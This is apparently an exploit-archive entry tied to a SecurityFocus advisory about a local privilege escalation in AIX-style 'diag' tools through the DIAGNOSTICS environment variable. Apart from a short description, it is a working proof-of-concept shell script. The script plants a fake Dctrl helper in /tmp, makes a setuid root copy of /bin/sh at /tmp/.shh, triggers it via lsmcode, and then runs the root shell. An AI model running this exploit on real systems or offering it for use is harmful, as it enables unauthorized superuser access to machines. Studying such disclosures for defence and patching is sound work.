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652 B
Text
17 lines
No EOL
652 B
Text
source: http://www.securityfocus.com/bid/12041/info
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diag is reported prone to a local privilege escalation vulnerability. This issue is due to a failure of certain diag applications to properly implement security controls when executing an application specified by the 'DIAGNOSTICS' environment variable.
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A local attacker may leverage this issue to gain superuser privileges on a computer running the affected software.
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mkdirhier /tmp/aap/bin
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export DIAGNOSTICS=/tmp/aap
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cat > /tmp/aap/bin/Dctrl << EOF
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#!/bin/sh
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cp /bin/sh /tmp/.shh
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chown root:system /tmp/.shh
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chmod u+s /tmp/.shh
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EOF
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chmod a+x /tmp/aap/bin/Dctrl
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lsmcode
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/tmp/.shh |